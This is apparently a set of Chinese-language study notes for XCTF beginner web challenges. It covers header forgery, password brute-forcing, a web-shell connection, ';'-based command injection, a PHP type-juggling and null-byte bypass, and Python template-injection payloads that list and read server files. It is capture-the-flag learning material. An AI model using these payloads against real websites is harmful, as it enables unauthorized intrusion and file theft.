xctf-web
view source
Q:无法用鼠标右键查看原码,怎么办?
A:浏览器地址栏在网址前输入 view-source: 即可查看源码
get post
Q:用 get 提交 a=1,用 post 提交 b=2
A:url后加 ?a=1
,用 hackbar 提交b=2
robots
Q:robots.txt
A:域名后加 robots.txt
backup
Q:找到网站的备份文件
A:暴力域名。常见备份后缀git .svn .swp .~ .bak .bash_history
cookie
Q:cookie
A:用F12查看cookie到cookie.php,查看消息头
disable button
Q:前端知识:如何按一个按不了的按钮
A:F12 将按钮的disable删除
simple js
Q: A:网页源码
<script type="text/javascript"> function dechiffre(pass_enc){ var pass = "70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65"; var tab = pass_enc.split(','); var tab2 = pass.split(','); var i,j,k,l=0,m,n,o,p = "";i = 0;j = tab.length; k = j + (l) + (n=0); n = tab2.length; for(i = (o=0); i < (k = j = n); i++ ) {o = tab[i-l];p += String.fromCharCode((o = tab2[i])); if(i == 5)break;} for(i = (o=0); i < (k = j = n); i++ ){ o = tab[i-l]; if(i > 5 && i < k-1) p += String.fromCharCode((o = tab2[i])); } p += String.fromCharCode(tab2[17]); pass = p;return pass; } String["fromCharCode"](dechiffre("\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30")); h = window.prompt('Enter password'); alert( dechiffre(h) );
\x35\x35\x2c\x35。。。为一串编码,用python转为数字字符串,再转出相应编码的字符
xff_referer
Q:伪造 xff 与 referer头 A:用代理工具添加 X-Forwarded-For 与 Referfer, 键值对的键首字母要大写 。
X-Forwarded-For(XFF)
是用来识别通过HTTP代理或负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段。通俗来说,就是浏览器访问网站的IP。一般格式:
==> X-Forwarded-For: client1, proxy1, proxy2, proxy3
左边第一个是浏览器IP,依次往右为第一个代理服务器IP,第二个,第三个(使用逗号+空格进行分割)
weak auth
Q:用 admin 登录。
A:用字典暴力。是123456
web shell
直接用菜刀连,或用php命令慢慢试。
command_execution
命令执行漏洞,; + 命令
simple_php
?<?php show_source(__FILE__); include("config.php"); $a=@$_GET['a']; $b=@$_GET['b']; if($a==0 and $a){ echo $flag1; } if(is_numeric($b)){ exit(); } if($b>1234){ echo $flag2; } ?>
要 $a == 0,且不能等同false。即$a可强制转为0但不能是0。可用 0+字母。
$b 不能是数字且大于1234,可用 1235%00 将
is_numeric函数截断。
python template injection
SSTI知识点,https://www.freebuf.com/column/187845.html
{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}
{{''.__class__.__mro__[2].__subclasses__()[40]('fl4g').read()}}